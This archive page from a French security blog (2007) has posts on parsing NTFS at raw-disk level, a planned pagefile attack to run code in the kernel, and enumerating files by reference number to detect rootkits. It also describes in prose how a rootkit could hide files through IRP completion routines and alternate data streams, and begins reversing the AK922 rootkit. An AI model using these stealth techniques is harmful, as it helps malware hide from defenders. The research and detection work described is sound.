Archive for septembre, 2007

NTFS

Depuis que j’ai RE le totokit AK922, j’ai eu envie de m’intéresser au format de fichier NTFS. Je n’aurais pas du, c’est vraiment un sacré bordel la dessous. Anyway, j’ai commencé a coder un petit tool me permettant de dump les fichiers directe depuis le disque. En fait j’ai 3 idées en tête :

1) Me faire un anti-rootkit, « solide » qui ne dépend pas du driver ntfs.sys. Avec j’ai un bon moyen de lutte contre toutes les rk utilisant des techniques de stealth NTFS.

2) Me servir de ces connaissances pour faire des totokits + puissants :) On verra ca plus tard …

3) Mais surtoutj’aimerais mettre en place une « pagefile attack ». Cette technique consiste à écrire en raw sur le disque au niveau de fichier du pagination (pagefile.sys), il est possible ainsi, en choisissant bien oû l’on écrit de faire éxécuter du code par le kernel. Joanna dans sa conf « Subverting Vista Kernel For Fun And Profit » a utilisé ce trick, pour loader des driver non-signés sur Vista … Evidemment comme tout le monde s’en fou de Vista je ne cherche pas à faire la même chose sur mon XP :] Je voudrais juste exécuter un petit code de la manière la plus fiable possible juste pour tripper :} Joanna, pour réussir son attaque, a modifié la DispatchRoutine (qui est dans une section possédant l’attribut PAGED_CODE) du driver null.sys (le truc qui est jamais appelé …) dans le fichier de pagination après avoir demandé à un process de bourré la ram à coups de VirtualAlloc. Evidemment avant d’écrire en raw sur le disque il faut pouvoir trouver où est le pagefile.sys et là, c’est une autre histoire

Au départ j’étais partis sur une autre manière pour écrire dans le pagefile.sys. Sachant qu’il est impossible d’ouvrir le fichier avec un NtCreateFile car il à été crée avec aucun FILE_SHARE_* il n’existe qu’il moyen pour avoir un handle sur pagefile.sys. On sait que comme pagefile.sys est manipulé par le kernel, il existe dans le process « system » un handle référencant le FILE_OBJECT associé. Je me suis dit « hop straff bunny ezlolffs, t’a plus qu’a dupliquer le handle depuis le proces system et puis tu pourra faire ce que tu veux après avec » .. mwais .. Après avoir réussit sans trop soucis à dupliquer le handle, j’ai tenté un ReadFile dessus, et ce fut le drame, BSOD in my face ! J’avoue que je n’ai toujours pas comprit pourquoi, mais bon si le fichier a été crée sans FILE_SHARE_* c’est peut-être normal ;)

La seule solution donc, est d’écrire directement sur le disque en retrouvant le pagefile à travers le format NTFS. Voilà ou j’en suis après avoir regardé quelques docs sur le format du système de fichiers. Première étape, comme nous voulons lire en raw sur le disque on a besoin d’envoyer des IRP sur un des devices du driver de disque. Il nous faut donc un handle dessus, hop on réalise cela avec ce petit bout de code :

 hDevice=CreateFile("\\\\\\.\\\\C:",

 				GENERIC_READ,

 				FILE_SHARE_READ|FILE_SHARE_WRITE,

 				NULL,

 				OPEN_EXISTING,

 				FILE_ATTRIBUTE_NORMAL,

 				NULL);

 if(hDevice==INVALID_HANDLE_VALUE)

 {

 	printf("Error with CreateFile : %dn", GetLastError());

 	goto end;

 }

Après on peut enfin faire du ReadFile et ReadFileEx sur le disque. Tout d’abord quelques notions :
Un disque dur est découpe en sectors, la taille de chaque sectors est dépendante du constructeur mais en général ils font 512 octets (0×200). Windows, pour s’affranchir de la spécification constructeur manipule le disque qu’a travers des clusters, un cluster fait n sectors, chez moi j’ai 8 sectors par cluster, ce qui me donc 4096 bytes par clusters (0×1000).

Premier essai, je tenter de dumper les 400 premiers bytes du disque, bim dans mon cul ! On je peut que lire par multiple de taille de sector, soit pour moi 512. Ce n’est pas grave on recommence. La première structure qu’on découvre sur le disque est de type NTFS5_BOOT_RECORD :

#pragma pack(push,1)

typedef struct _NTFS5_BOOT_RECORD {

 BYTE	_jmpcode[3];

 CHAR	cOEMID[8];

 WORD	wBytesPerSector;

 BYTE	bSectorsPerCluster;

 WORD	wSectorsReservedAtBegin;

 BYTE	Mbz1;

 WORD	Mbz2;

 WORD	Reserved1;

 BYTE	bMediaDescriptor;

 WORD	Mbz3;

 WORD	wSectorsPerTrack;

 WORD	wSides;

 DWORD	dwSpecialHiddenSectors;

 DWORD	Reserved2;

 DWORD	Reserved3;

 UINT64	TotalSectors;

 LARGE_INTEGER	MftStartLcn;

 UINT64	Mft2StartLcn;

 DWORD	ClustersPerFileRecord;

 DWORD	ClustersPerIndexBlock;

 UINT64	VolumeSerialNumber;

 BYTE	_loadercode[430];

 WORD	wSignature;

} NTFS5_BOOT_RECORD, *PNTFS5_BOOT_RECORD;

#pragma pack(pop)

Ce qui donne en version humainement lisible, cela :

Offset       0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

000000000   EB 52 90 4E 54 46 53 20  20 20 20 00 02 08 00 00   ëRNTFS    .....

000000010   00 00 00 00 00 F8 00 00  3F 00 FF 00 3F 00 00 00   .....ø..?.ÿ.?...

000000020   00 00 00 00 80 00 80 00  21 97 FF 07 00 00 00 00   ....€.€.!—ÿ.....

000000030   00 00 0C 00 00 00 00 00  72 F9 7F 00 00 00 00 00   ........rù.....

000000040   F6 00 00 00 01 00 00 00  99 07 33 F8 3E 33 F8 2A   ö.......™.3ø>3ø*

000000050   00 00 00 00 FA 33 C0 8E  D0 BC 00 7C FB B8 C0 07   ....ú3ÀŽÐ¼.|û¸À.

000000060   8E D8 E8 16 00 B8 00 0D  8E C0 33 DB C6 06 0E 00   ŽØè..¸..ŽÀ3ÛÆ...

000000070   10 E8 53 00 68 00 0D 68  6A 02 CB 8A 16 24 00 B4   .èS.h..hj.ËŠ.$.´

000000080   08 CD 13 73 05 B9 FF FF  8A F1 66 0F B6 C6 40 66   .Í.s.¹ÿÿŠñf.¶Æ@f

000000090   0F B6 D1 80 E2 3F F7 E2  86 CD C0 ED 06 41 66 0F   .¶Ñ€â?÷â†ÍÀí.Af.

0000000A0   B7 C9 66 F7 E1 66 A3 20  00 C3 B4 41 BB AA 55 8A   •Éf÷áf£ .ôA»ªUŠ

0000000B0   16 24 00 CD 13 72 0F 81  FB 55 AA 75 09 F6 C1 01   .$.Í.r.ûUªu.öÁ.

0000000C0   74 04 FE 06 14 00 C3 66  60 1E 06 66 A1 10 00 66   t.þ...Ãf`..f¡..f

0000000D0   03 06 1C 00 66 3B 06 20  00 0F 82 3A 00 1E 66 6A   ....f;. ..‚:..fj

0000000E0   00 66 50 06 53 66 68 10  00 01 00 80 3E 14 00 00   .fP.Sfh....€>...

0000000F0   0F 85 0C 00 E8 B3 FF 80  3E 14 00 00 0F 84 61 00   .…..è³ÿ€>....„a.

000000100   B4 42 8A 16 24 00 16 1F  8B F4 CD 13 66 58 5B 07   ´BŠ.$...‹ôÍ.fX[.

000000110   66 58 66 58 1F EB 2D 66  33 D2 66 0F B7 0E 18 00   fXfX.ë-f3Òf.•...

000000120   66 F7 F1 FE C2 8A CA 66  8B D0 66 C1 EA 10 F7 36   f÷ñþŠÊf‹ÐfÁê.÷6

000000130   1A 00 86 D6 8A 16 24 00  8A E8 C0 E4 06 0A CC B8   ..†ÖŠ.$.ŠèÀä..̸

000000140   01 02 CD 13 0F 82 19 00  8C C0 05 20 00 8E C0 66   ..Í..‚..ŒÀ. .ŽÀf

000000150   FF 06 10 00 FF 0E 0E 00  0F 85 6F FF 07 1F 66 61   ÿ...ÿ....…oÿ..fa

000000160   C3 A0 F8 01 E8 09 00 A0  FB 01 E8 03 00 FB EB FE   Ã ø.è.. û.è..ûëþ

000000170   B4 01 8B F0 AC 3C 00 74  09 B4 0E BB 07 00 CD 10   ´.‹ð¬<.t.´.»..Í.

000000180   EB F2 C3 0D 0A 45 72 72  2E 20 6C 65 63 74 75 72   ëòÃ..Err. lectur

000000190   65 20 64 69 73 71 75 65  00 0D 0A 4E 54 4C 44 52   e disque...NTLDR

0000001A0   20 6D 61 6E 71 75 65 00  0D 0A 4E 54 4C 44 52 20    manque...NTLDR

0000001B0   65 73 74 20 63 6F 6D 70  72 65 73 73 82 00 0D 0A   est compress‚...

0000001C0   45 6E 74 72 65 7A 20 43  74 72 6C 2B 41 6C 74 2B   Entrez Ctrl+Alt+

0000001D0   53 75 70 70 72 20 70 6F  75 72 20 72 65 64 82 6D   Suppr pour red‚m

0000001E0   61 72 72 65 72 0D 0A 00  0D 0A 00 00 00 00 00 00   arrer...........

0000001F0   00 00 00 00 00 00 00 00  83 99 A8 BE 00 00 55 AA   ........ƒ™¨¾..Uª

On retrouve dans cette structure le nombre de bytes par sector (wBytesPerSector), le nombre de sectors par cluster (bSectorsPerCluster) mais surtout le champ MftStartLcn qui nous indique l’adresse de la MFT (Master File Table) avec un LCN. Un LCN (Logical Cluster Number) est le nombre de clusters qui se trouvent entre le début du disque et la localisation du fichier, ainsi, si l’on veut retrouver ce fichier sur le disque il faut multiplier le LCN par le nombre de bytes par cluster. Dans l’exemple au dessus le champ MftStartLcn vaut 0xC0000 (offset 0×30, taille 64 bits), la MFT se trouve donc sur le disque à l’adresse physique 0xC0000000.

La MFT est une table contenant une série de fichiers dont les 16 premiers sont réservés par le système de fichiers. Ces fichiers sont des metadata dont le nom commence par ‘$’. Voici les 12 primiers (les autres sont réservés pour un usage futur) :
$MFT : Itself MFT
$MFTmirr : copy of the first 16 MFT records placed in the middle of the disk
$LogFile : journaling support file (see below)
$Volume : housekeeping information – volume label, file system version, etc.
$AttrDef : list of standard files attributes on the volume
$. :root directory
$Bitmap : volume free space bitmap
$Boot : boot sector (bootable partition)
$BadClus : records any bad spots on the disk volume
$Secure : contains unique security descriptors for all files within a volume
$Quota : file where the users rights on disk space usage are recorded (began to work only in NT5)
$Upcase : File – the table of accordance between capital and small letters in files names on current volume. It is necessary because in NTFS file names are stored in Unicode that makes 65 thousand various characters and it is not easy to search for their large and small equivalents.
$Extend : used for various optional extensions such as quotas, reparse point data, and object identifiers.

Chaque fichier est décrit sous la forme d’une série d’attributs, qui sont en général :

Standard Information
Information such as access mode (read-only, read/write, and so forth) timestamp, and link count.

Attribute List
Locations of all attribute records that do not fit in the MFT record.

File Name
A repeatable attribute for both long and short file names. The long name of the file can be up to 255 Unicode characters. The short name is the 8.3, case-insensitive name for the file. Additional names, or hard links, required by POSIX can be included as additional file name attributes.

Data
File data. NTFS supports multiple data attributes per file. Each file typically has one unnamed data attribute. A file can also have one or more named data attributes.

Object ID
A volume-unique file identifier. Used by the distributed link tracking service. Not all files have object identifiers.

Logged Tool Stream
Similar to a data stream, but operations are logged to the NTFS log file just like NTFS metadata changes. This attribute is used by EFS.

Reparse Point
Used for mounted drives. This is also used by Installable File System (IFS) filter drivers to mark certain files as special to that driver.

Index Root
Used to implement folders and other indexes.

Index Allocation
Used to implement the B-tree structure for large folders and other large indexes.

Bitmap
Used to implement the B-tree structure for large folders and other large indexes.

Volume Information
Used only in the $Volume system file. Co

Tout ces attributs ne sont par forcément présent, cela dépend du type de fichier, de sa taille et de plein d’autres params.

Sur le disque chaque fichier commence par un header de type FILE_RECORD_HEADER :

typedef struct _FILE_RECORD_HEADER {

 NTFS_RECORD_HEADER	Ntfs;

 USHORT				SequenceNumber;

 USHORT				LinkCount;

 USHORT				AttributesOffset;

 USHORT				Flags; // 0x0001 = InUse, 0x0002 = Directory

 ULONG				BytesInUse;

 ULONG				BytesAllocated;

 ULONGLONG			BaseFileRecord;

 USHORT				NextAttributeNumber;

 USHORT Pading;                /* Align to 4 UCHAR boundary (XP) */

  	ULONG MFTRecordNumber;        /* Number of this MFT Record (XP) */

} FILE_RECORD_HEADER, *PFILE_RECORD_HEADER;

Le FILE_RECORD_HEADER nous indique l’offet de la première structure décrivant un attribut (AttributesOffset). C’est en fait une sorte de header qui décrit le type d’attribut qui suit (comme par exemple : Standard Information, FileName, Data etc …) Ce header est une structure de type ATTRIBUTE :

typedef struct _ATTRIBUTE {

 ATTRIBUTE_TYPE	AttributeType;

 ULONG			Length;

 BOOLEAN			Nonresident;

 UCHAR			NameLength;

 USHORT			NameOffset;

 USHORT			Flags; // 0x0001 = Compressed

 USHORT			AttributeNumber;

} ATTRIBUTE, *PATTRIBUTE;

A partir du AttributeType on retrouve un numéro définissant de quel attribut il s’agit :

typedef enum _ATTRIBUTE_TYPE {

AttributeStandardInformation	= 0x10,

AttributeAttributeList			= 0x20,

AttributeFileName				= 0x30,

AttributeObjectId				= 0x40,

AttributeSecurityDescriptor		= 0x50,

AttributeVolumeName				= 0x60,

AttributeVolumeInformation		= 0x70,

AttributeData					= 0x80,

AttributeIndexRoot				= 0x90,

AttributeIndexAllocation		= 0xA0,

AttributeBitmap					= 0xB0,

AttributeReparsePoint			= 0xC0,

AttributeEAInformation			= 0xD0,

AttributeEA						= 0xE0,

AttributePropertySet			= 0xF0,

AttributeLoggedUtilityStream	= 0x100

} ATTRIBUTE_TYPE, *PATTRIBUTE_TYPE; //sizeof(ATTRIBUTE_TYPE)=4

Le champ Nonresident nous indique si l’attribut est résident ou non, ce qui signifie si oui on les données indiqué dans le type de l’attribut soit à suivre de l’attribut ou bien se trouvent plus loin sur le disque. Par exemple si un fichier fait plus de 4ko ses données ne suivent pas l’attribut ‘Data’. Dans le cas ou l’attribut est résident on retrouve une structure RESIDENT_ATTRIBUTE :

typedef struct _RESIDENT_ATTRIBUTE {

 ATTRIBUTE	Attribute;

 ULONG		ValueLength;

 USHORT		ValueOffset;

 USHORT		Flags; // 0x0001 = Indexed

} RESIDENT_ATTRIBUTE, *PRESIDENT_ATTRIBUTE;

Comme vous le voyez la structure RESIDENT_ATTRIBUTE se compose de la structure ATTRIBUTE, en fait c’est juste une extension, la structure NONRESIDENT_ATTRIBUTE commence aussi avec la structure ATTRIBUTE mais la suite change.

Voici une descriptions des champs de la structure RESIDENT_ATTRIBUTE sortie des header de ntfs-3G :

typedef struct {

/*Ofs*/

/*  0*/	ATTR_TYPES type;	/* The (32-bit) type of the attribute. */

/*  4*/	u32 length;		/* Byte size of the resident part of the

attribute (aligned to 8-byte boundary).

Used to get to the next attribute. *//*  8*/	u8 non_resident;	/* If 0, attribute is resident.

If 1, attribute is non-resident. */

/*  9*/	u8 name_length;		/* Unicode character size of name of attribute.

0 if unnamed. */

/* 10*/	u16 name_offset;	/* If name_length != 0, the byte offset to the

beginning of the name from the attribute

record. Note that the name is stored as a

Unicode string. When creating, place offset

just at the end of the record header. Then,

follow with attribute value or mapping pairs

array, resident and non-resident attributes

respectively, aligning to an 8-byte

boundary. */

/* 12*/	ATTR_FLAGS flags;	/* Flags describing the attribute. */

/* 14*/	u16 instance;		/* The instance of this attribute record. This

number is unique within this mft record (see

MFT_RECORD/next_attribute_instance notes

above for more details). */

/* 16*/	union {

/* Resident attributes. */

struct {

/* 16 */		u32 value_length; /* Byte size of attribute value. */

/* 20 */		u16 value_offset; /* Byte offset of the attribute

value from the start of the

attribute record. When creating,

align to 8-byte boundary if we

have a name present as this might

not have a length of a multiple

of 8-bytes. */

/* 22 */		RESIDENT_ATTR_FLAGS resident_flags; /* See above. */

/* 23 */		s8 reservedR;	    /* Reserved/alignment to 8-byte

boundary. */

/* 24 */		void *resident_end[0]; /* Use offsetof(ATTR_RECORD,

resident_end) to get size of

a resident attribute. */

} __attribute__((__packed__));

/* Non-resident attributes. */

[...]

Je crois qu’un exemple serait le bienvenu. J’ai prit comme démonstration un fichier de petite taille, le boot.ini :

Offset       0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  FFILE_RECORD_HEADER

0C0352000   46 49 4C 45 30 00 03 00  C2 0C 77 1B 00 00 00 00   FILE0...Â.w.....

0C0352010   01 00 01 00 38 00 01 00  40 02 00 00 00 04 00 00   ....8...@.......

0C0352020   00 00 00 00 00 00 00 00  05 00 00 00 48 0D 00 00   ............H...

FILE_RECORD_HEADER.AttributesOffset=0x38;

0C0352030   CA 0A 20 2F 00 00 00 00                            Ê. /....

RESIDENT_ATTRIBUTE.AttributeType=0x10

->AttributeStandardInformation

10 00 00 00 60 00 00 00           ....`...

0C0352040   00 00 00 00 00 00 00 00  48 00 00 00 18 00 00 00   ........H.......

STANDARD_INFORMATION

0C0352050   00 8D 3A 56 4E 67 C7 01  40 36 74 D4 68 FC C7 01   .:VNgÇ.@6tÔhüÇ.

0C0352060   40 36 74 D4 68 FC C7 01  40 1F 27 89 C0 FD C7 01   @6tÔhüÇ.@.'‰ÀýÇ.

0C0352070   26 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   &...............

0C0352080   00 00 00 00 15 01 00 00  00 00 00 00 00 00 00 00   ................

0C0352090   00 00 00 00 00 00 00 00                            ........

RESIDENT_ATTRIBUTE.AttributeType=0x30

->AttributeFileName

                                     30 00 00 00 70 00 00 00    0...p...

0C03520A0   00 00 00 00 00 00 02 00  52 00 00 00 18 00 01 00   ........R.......

FILENAME_ATTRIBUTE

0C03520B0   05 00 00 00 00 00 05 00  00 8D 3A 56 4E 67 C7 01   .........:VNgÇ.

0C03520C0   00 8D 3A 56 4E 67 C7 01  00 8D 3A 56 4E 67 C7 01   .:VNgÇ..:VNgÇ.

0C03520D0   00 8D 3A 56 4E 67 C7 01  00 00 00 00 00 00 00 00   .:VNgÇ.........

0C03520E0   00 00 00 00 00 00 00 00  20 00 00 00 00 00 00 00   ........ .......

0C03520F0   08 03 62 00 6F 00 6F 00  74 00 2E 00 69 00 6E 00   ..b.o.o.t...i.n.

0C0352100   69 00 00 00 00 00 00 00                            i.......

RESIDENT_ATTRIBUTE.AttributeType=0x40

->AttributeFileName=AttributeObjectId

                                     40 00 00 00 28 00 00 00           @...(...

0C0352110   00 00 00 00 00 00 04 00  10 00 00 00 18 00 00 00   ................

OBJECTID_ATTRIBUTE

0C0352120   44 4E EB C3 7D 67 DC 11  83 8D 00 03 FF 02 63 0E   DNëÃ}gÜ.ƒ..ÿ.c.

RESIDENT_ATTRIBUTE.AttributeType=0x80

->AttributeFileName=AttributeData

0C0352130   80 00 00 00 08 01 00 00  00 00 18 00 00 00 03 00   €...............

0C0352140   ED 00 00 00 18 00 00 00                            í.......

5B 62 6F 6F 74 20 6C 6F           [boot lo

0C0352150   61 64 65 72 5D 0D 0A 74  69 6D 65 6F 75 74 3D 33   ader]..timeout=3

0C0352160   30 0D 0A 64 65 66 61 75  6C 74 3D 6D 75 6C 74 69   0..default=multi

0C0352170   28 30 29 64 69 73 6B 28  30 29 72 64 69 73 6B 28   (0)disk(0)rdisk(

0C0352180   30 29 70 61 72 74 69 74  69 6F 6E 28 31 29 5C 57   0)partition(1)W

0C0352190   49 4E 44 4F 57 53 0D 0A  5B 6F 70 65 72 61 74 69   INDOWS..[operati

0C03521A0   6E 67 20 73 79 73 74 65  6D 73 5D 0D 0A 6D 75 6C   ng systems]..mul

0C03521B0   74 69 28 30 29 64 69 73  6B 28 30 29 72 64 69 73   ti(0)disk(0)rdis

0C03521C0   6B 28 30 29 70 61 72 74  69 74 69 6F 6E 28 31 29   k(0)partition(1)

0C03521D0   5C 57 49 4E 44 4F 57 53  3D 22 4D 69 63 72 6F 73   WINDOWS="Micros

0C03521E0   6F 66 74 20 57 69 6E 64  6F 77 73 20 58 50 20 50   oft Windows XP P

0C03521F0   72 6F 66 65 73 73 69 6F  6E 6E 65 6C 22 20 CA 0A   rofessionnel" Ê.

0C0352200   6E 6F 65 78 65 63 75 74  65 3D 6F 70 74 69 6E 20   noexecute=optin

0C0352210   2F 66 61 73 74 64 65 74  65 63 74 20 2F 64 65 62   /fastdetect /deb

0C0352220   75 67 20 2F 64 65 62 75  67 70 6F 72 74 3D 43 4F   ug /debugport=CO

0C0352230   4D 31 3A 0D 0A 00 00 00  FF FF FF FF 82 79 47 11   M1:.....ÿÿÿÿ‚yG.

0C0352240   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................

[...]

0C03523F0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 CA 0A   ..............Ê.

Bon c’est toujours la même chose, on regarde si l’attribut qu’on a est resident ou non, on détermine ensuite quel type de données suivent puis on les lit. On trouve l’attribut suivant à partir de l’actuel en faisant :
NextAttri = CurrentAttri + CurrentAttri->ValueLength;

Concernant les NonResidentAttribut, on verra ca plus tard :p

Bon j’avoue, c’est vraiment un peu chaud à comprendre au début, je suis loin d’avoir tout capté, faut que je lise encore pas mal et que j’améliore mon code. J’essayerai de vous le sortir un jour …

En attendant, on imagine comment fonctionnent les tools de récupération de fichier, pour parser le format NTFS. Pareil, si on regarde le post de Azy sur rootkit.com, on peut voir qu’il utilise une structure de type INDEX_ENTRY qui sont celle qui servent à décrire le contenu d’un dossier. Je n’ai pas encore étudier cela mais je le ferais prochainement.

En fait il faudrait que j’arrive à retrouver le FILE_RECORD du fichier pagefile.sys en parcourant la liste des fichiers du C:, pour l’instant je ne sais pas encore le faire.

Bref, la suite au prochain épisode.

ref :
http://www.ntfs.com/
http://technet2.microsoft.com/windowsserver/en/library/8cc5891d-bf8e-4164-862d-dac5418c59481033.mspx?mfr=true
http://www.digit-life.com/articles/ntfs/
http://www.pcguide.com/ref/hdd/file/ntfs/archFiles-c.html
http://www.alex-ionescu.com/NTFS.pdf
http://dbserver.kaist.ac.kr/~yjlee/Courses/CS230/ntfs/NTFS-3.html
http://www.geocities.com/beiyu2005/beiyu_NTFSResearch.htm

2 comments septembre 26th, 2007

Uninformed Volume 8!

Je l’attendais avec beaucoup d’impatience, je tremblais d’excitation, mon palpitant était à 280 battements/minutes, mes mains étaient moites, enfin il est arrivé, le nouveau Uninformed 8 ème du nom, encore des articles à couper le souffle et notamment :

A Catalog of Windows Local Kernel-mode Backdoors : un article de la mort fatale atomique qui tue sa mère sur des anciennes et nouvelles techniques pouvant être utilisé par un rootkit, ownage total, un paper que je vais dévorer !!!

PatchGuard Reloaded: A Brief Analysis of PatchGuard Version 3 : L’article décrivant les nouvelles protection apportées par la protection kernel PatchGuard 3 et comment les bypasser, digne d’un ninja :)

J’espère que vous aller kiffer cette new release autant que moi !

Add comment septembre 18th, 2007

Ntfs File Reference Number

Quand j’ai lu le dernier édito de Misc, je me suis dit, « Ca y est, il a craqué papy », parce que nous faire une intro dans laquelle il nous résume toute les conneries qu’il a maté à la tv pendant l’été ca craint un peu, heureusement qu’on a pas eu droit à fort-boyard ni intervilles sinon j’aurais dit qu’il était perdu pour de bon. Par contre, j’ai aussi vu qu’il y avait un hors-série Misc prévu pour fin septembre, ca a fait*tilt* dans ma tête, genre comme si je m’étais cogné la tête sur la cuvette des chiottes, mais oui MERDE! Faut que je termine mon article moi ! Il me reste quand même assez de temps (ou pas ?) pour que je vous parle d’une feature de win assez sympatique.

Je reversais tranquillement vite fait un petit tool, le nfi.exe, « Sector to File Mapping Program » (dispo ici) qui permet notamment de dumper la liste des fichiers du disque en l’appelant da la façon suivante :

C:ProgHackcNtfs>nfi.exe c:
[...]
File 28
WINDOWS
    $STANDARD_INFORMATION (resident)
    $FILE_NAME (resident)
    $OBJECT_ID (resident)
    $INDEX_ROOT $I30 (resident)
    $INDEX_ALLOCATION $I30 (nonresident)
        logical sectors 2561160-2561303 (0x271488-0x271517)
    $BITMAP $I30 (resident)

File 29
WINDOWSsystem32
    $STANDARD_INFORMATION (resident)
    $ATTRIBUTE_LIST (resident)
    $FILE_NAME (resident)
    $OBJECT_ID (resident)
    $INDEX_ROOT $I30 (resident)
    $BITMAP $I30 (resident)

File 30
WINDOWSsystem32config
    $STANDARD_INFORMATION (resident)
    $FILE_NAME (resident)
    $INDEX_ROOT $I30 (resident)
    $INDEX_ALLOCATION $I30 (nonresident)
        logical sectors 488288-488303 (0x77360-0x7736f)
    $BITMAP $I30 (resident)

Je me suis demandé comment ca marchait donc hop hop, on sort olly et ida puis on regarde dedans. En regardant, j’ai vu un truc de maladouf, un appel à l’API ZwOpenFile, sans nom de fichier ! HewW wtF ??? Par la suite, la même fonction ayant récupérer un handle sur le fichier, appelait ZwQueryInformationFile avec l’InformationClass sur FileNameInformation pour obtenir le nom du fichier, par exemple \\WINDOWS\\system32.

Après quelques recherches, j’ai remarqué que ZwOpenFile utilisait le flag, FILE_OPEN_BY_FILE_ID, on retrouve sa description dans la doc du WDK :
The file name that is specified by the ObjectAttributes parameter includes the 8-byte file reference number for the file. This number is assigned by and specific to the particular file system. If the file is a reparse point, the file name will also include the name of a device. Note that the FAT file system does not support this flag.

Il serait donc possible de retrouver un fichier, uniquement à partir de son « file reference number », humm mais c’est bon ça :] Alors, je n’ai pas envie de me faire chier, donc je vous laisse lire la description d’un File Reference Numbers celon le Windows Internals :
A file on an NTFS volume is identified by a 64-bit value called a file reference. The file reference consists of a file number and a sequence number. The file number corresponds to the position of the file’s file record in the MFT minus 1 (or to the position of the base file record minus 1 if the file has more than one file record). The file reference sequence number, which is incremented each time an MFT file record position is reused, enables NTFS to perform internal consistency checks.

Ok, c’est cool, le FRN est représenté sur 64 bits, le seul petit souci, c’est qu’après plusieurs essais, je me suis aperçu que ces derniers n’était pas linéaire, comprenez que si les FRN 49, 50, 51 sont valides, le FRN 52 ne l’est pas forcément, et ca c’est embêtant. De plus comment savoir quand on a finit d’énumérer tout les fichiers du disque ? Ca serait bien d’éviter d’énumérer tout les 2^64 possibilités quand même. Bref back to reverse, pour comprendre comment nfi.exe fait pour régler ces soucis.

Ce petit tool semble utiliser NtFsControlFile pour envoyer des IOCLT au driver NTFS, il utilise 2 types d’IOCT, FSCTL_GET_NTFS_VOLUME_DATA et FSCTL_GET_NTFS_FILE_RECORD. La description de FSCTL_GET_NTFS_FILE_RECORD sur la msdn est assez intéressante :
FSCTL_GET_NTFS_FILE_RECORD
This control code enumerates file identifiers in a downward fashion, and always returns a file record that is in use. This means that the file identifier returned by this control code may not be the same as the file identifier specified in the input buffer. For example, if file identifiers 1 through 9 and 15 are in use, file identifiers 10 through 14 are not in use, and the file record corresponding to file identifier 15 is requested, that file record is returned.

If the file records that correspond to file identifiers 10 through 14 are requested, then the file record corresponding to file identifier 9 is returned. If any of the file records corresponding to file identifiers 1 through 9 are requested, those file records is returned.

Donc si on utilise NtFsControlFile avec l’IOCTL FSCTL_GET_NTFS_FILE_RECORD, cette dernière va faire en sorte de nous « arrondir » le FRN que nous lui avons passé en paramètre, de plus NtFsControlFile renvoie une erreur si jamais nous essayons d’accéder à un FRN trop élevé. Si ce c’est pas beau ça :]

Bref, c’est toujours un bon petit tool contre les rootkits. Avant, il s’agissait surtout de cacher les fichiers au moment ou l’on demandait le contenu d’un dossier, on modifiait le retour de l’api NtQueryDirectoryFile par exemple pour que notre fichier n’apparaisse pas dans la liste. Maintenant c’est un petit plus compliqué, parce qu’on possède un handle sur le fichier, si l’on modifie le retour de NtQueryInformationFile en disant par exemple qu’il n’y a aucun fichier, c’est un peu grillé :)

La possibilité la plus simple que je vois est de vérifié que le nom du handle crée correspond oui ou non à un fichier qu’on désire planquer, en kernelland on pourrait mettre une complétion routine sur l’IRP_MJ_CREATE qui controlerait le nom du fichier représenté par le handle qui vient d’être crée. La completion routine renverra, STATUS_OBJECT_PATH_NOT_FOUND si le fichier a été ouvert avec son path ou bien STATUS_INVALID_PARAMETER si on a tenté de l’ouvrir avec son FRN. Bien évidemment il faudrait penser aussi vérifié d’ou provient le syscall pour éviter que notre rk ne puisse accéder aux fichiers qu’il cache, comme un fichier de log par exemple. Bref moi je vais mettre à jour mon rootkit :)

A noter qu’après test, le rootkit AK922 que j’ai reversé se fait owner par cette méhode ;)

Dernière précision, cette technique ne n’est pas capable d’énumérer les ADS. Franchement, si vous voulez avoir un file system rootkit puissant, le combo ADS + completion routine sur l’IRP_MJ_QUERY_INFORMATION avec un file system filter pour gérer les appels de NtQueryInformationFile avec la FileInformationClass, FileStreamInformation est quasiment imparable :)
Mais bon je dis ca mais il doit encore exister des tricks inconnu permettant de les détecter super facilement :]

Vous trouverez le code ici :
http://ivanlef0u.fr/repo/FRN.rar

ref:
http://msdn2.microsoft.com/en-us/library/aa364568.aspx
http://msdn2.microsoft.com/en-us/library/aa364569.aspx

1 comment septembre 12th, 2007

Quake is good

Je me suis dit qu’il serait intéressant de mettre un peu de contenu multimédia sur ce blog, histoire de vous détendre un peu au lieu de matter des dump asm. Alors au lieu de poster une vidéo dans laquelle je vous montre ma collection de boites de chocapics, je crois qu’il est intéressant que je vous fasse découvrir mon sport préféré. Comme la coupe du monde de rugby commence à peine, il serait peut-être temps de montrer au monde cette discipline d’hommes. Je veux bien sur parler de quake 3 :] Un fps avec des vrai morceaux de skills, des max fps à 125, du ping et du whine. Voici donc une petite vidéo (nosound!) montrant des zolis frags réalisés en pickup récemment. Il s’agit de ctf, je suis en deff flag. Bref 30 secs d’intense action durant laquelle j’ai du perdre plus de calories que pendant 5h de coding avec écran éteint …

[coolplayer width="500" height="400" autoplay="flse" loop="false" download="false"]
http://www.ivanlef0u.tuxfamily.org/q3.flv
[/coolplayer]

Vous en voulez d’autres ? (et mieux !) demandez !!

12 comments septembre 8th, 2007

Rootkit AK922

C’est encore un produit chinois qui attire mon attention, décidément les gars ont du talent dans ce pays. En fait je suis tombé de dessus en lisant le forum de rootkit.com, il s’agit d’un POC fournit sous forme de binaire .sys, permettant de bypasser une grosse partie (tous?) des anti-rk au niveau du system de fichiers. Comme cette chose m’intéressait au plus au point, j’ai décidé de la reversé. Ca fait bizarre de RE sans les symbols mais on s’y fait à force :p Voici ce que j’ai découvert au sein du monstre.

Le binaire porte le nom de ak922.sys, ne possède aucune description, n’est pas packé, a été codé en C et semble avoir été compilé avec le compilo du DDK. Après avoir été lancé (dans une VM bien sur !), on remarque que binaire n’affiche aucun message avec la routine DbgPrint et qu’il arrive effectivement à cacher le fichier ak922.sys. Si on regarde la table des IRP_MJ on ne trouve rien de spécial :

kd> !drvobj driverak922 3
Driver object (80d08868) is for:
DriverAK922
Driver Extension List: (id , addr)

Device Object list:
80d092a8

DriverEntry:   fd24505c	AK922
DriverStartIo: 00000000
DriverUnload:  fd244f76	AK922

Dispatch routines:
[00] IRP_MJ_CREATE                      fd244e20	AK922+0xe20 <-CompleteNormalIRP
[01] IRP_MJ_CREATE_NAMED_PIPE           fd244e20	AK922+0xe20 <-CompleteNormalIRP
